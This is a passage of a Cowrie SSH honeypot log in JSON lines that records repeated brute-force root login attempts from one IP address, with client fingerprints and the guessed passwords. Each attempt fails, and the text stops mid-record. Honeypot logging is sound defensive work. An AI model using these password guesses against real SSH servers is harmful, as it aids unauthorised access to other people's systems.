{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:16.503936Z","src_ip":"60.165.124.241","session":"65fa98ee2cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wakawaka","message":"login attempt [root/wakawaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:17.231909Z","src_ip":"60.165.124.241","session":"65fa98ee2cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:18.475785Z","src_ip":"60.165.124.241","session":"65fa98ee2cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57920,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78b50ec4bdd","protocol":"ssh","message":"New connection: 60.165.124.241:57920 (10.17.0.5:22) [session: b78b50ec4bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:18.719911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:18.726209Z","src_ip":"60.165.124.241","session":"b78b50ec4bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:18.970995Z","src_ip":"60.165.124.241","session":"b78b50ec4bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456.","message":"login attempt [root/aA123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:19.707109Z","src_ip":"60.165.124.241","session":"b78b50ec4bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:20.954856Z","src_ip":"60.165.124.241","session":"b78b50ec4bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60940,"dst_ip":"10.17.0.5","dst_port":22,"session":"10eb6434063e","protocol":"ssh","message":"New connection: 60.165.124.241:60940 (10.17.0.5:22) [session: 10eb6434063e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:21.221996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:21.229526Z","src_ip":"60.165.124.241","session":"10eb6434063e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:21.487170Z","src_ip":"60.165.124.241","session":"10eb6434063e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@4321","message":"login attempt [root/1234@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:22.272425Z","src_ip":"60.165.124.241","session":"10eb6434063e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:23.524351Z","src_ip":"60.165.124.241","session":"10eb6434063e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35800,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d38c864963a","protocol":"ssh","message":"New connection: 60.165.124.241:35800 (10.17.0.5:22) [session: 9d38c864963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:23.748966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:23.753687Z","src_ip":"60.165.124.241","session":"9d38c864963a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:23.997482Z","src_ip":"60.165.124.241","session":"9d38c864963a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Baidu@2025","message":"login attempt [root/Baidu@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:24.749138Z","src_ip":"60.165.124.241","session":"9d38c864963a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:26.004069Z","src_ip":"60.165.124.241","session":"9d38c864963a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38856,"dst_ip":"10.17.0.5","dst_port":22,"session":"b27438a2825f","protocol":"ssh","message":"New connection: 60.165.124.241:38856 (10.17.0.5:22) [session: b27438a2825f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:26.239423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:26.244952Z","src_ip":"60.165.124.241","session":"b27438a2825f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:26.482195Z","src_ip":"60.165.124.241","session":"b27438a2825f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"%TGBnhy6","message":"login attempt [root/%TGBnhy6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:27.203675Z","src_ip":"60.165.124.241","session":"b27438a2825f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:28.445792Z","src_ip":"60.165.124.241","session":"b27438a2825f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41840,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd12d54efdb","protocol":"ssh","message":"New connection: 60.165.124.241:41840 (10.17.0.5:22) [session: 0dd12d54efdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:28.714498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:28.719248Z","src_ip":"60.165.124.241","session":"0dd12d54efdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:28.976633Z","src_ip":"60.165.124.241","session":"0dd12d54efdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAbbcc123","message":"login attempt [root/AAbbcc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:29.755352Z","src_ip":"60.165.124.241","session":"0dd12d54efdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:31.019605Z","src_ip":"60.165.124.241","session":"0dd12d54efdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44868,"dst_ip":"10.17.0.5","dst_port":22,"session":"0842619121b9","protocol":"ssh","message":"New connection: 60.165.124.241:44868 (10.17.0.5:22) [session: 0842619121b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:31.246198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:31.251028Z","src_ip":"60.165.124.241","session":"0842619121b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:31.497010Z","src_ip":"60.165.124.241","session":"0842619121b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n0zIOtR122q8zNSfHVvBFCdU0ubQ0bxrc5LllPCaA2CMIF2C5X","message":"login attempt [root/n0zIOtR122q8zNSfHVvBFCdU0ubQ0bxrc5LllPCaA2CMIF2C5X] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:32.227559Z","src_ip":"60.165.124.241","session":"0842619121b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:33.471136Z","src_ip":"60.165.124.241","session":"0842619121b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47662,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f942fc468d","protocol":"ssh","message":"New connection: 60.165.124.241:47662 (10.17.0.5:22) [session: 32f942fc468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:33.702592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:33.706940Z","src_ip":"60.165.124.241","session":"32f942fc468d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:33.943204Z","src_ip":"60.165.124.241","session":"32f942fc468d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2025","message":"login attempt [root/test@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:34.668669Z","src_ip":"60.165.124.241","session":"32f942fc468d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:35.921112Z","src_ip":"60.165.124.241","session":"32f942fc468d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"259c8779b7d6","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 259c8779b7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:36.032359Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:36.141448Z","src_ip":"77.90.185.16","session":"259c8779b7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"053417f3ec5f","protocol":"ssh","message":"New connection: 60.165.124.241:50742 (10.17.0.5:22) [session: 053417f3ec5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:36.187360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:49:36.192166Z","src_ip":"60.165.124.241","session":"053417f3ec5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"m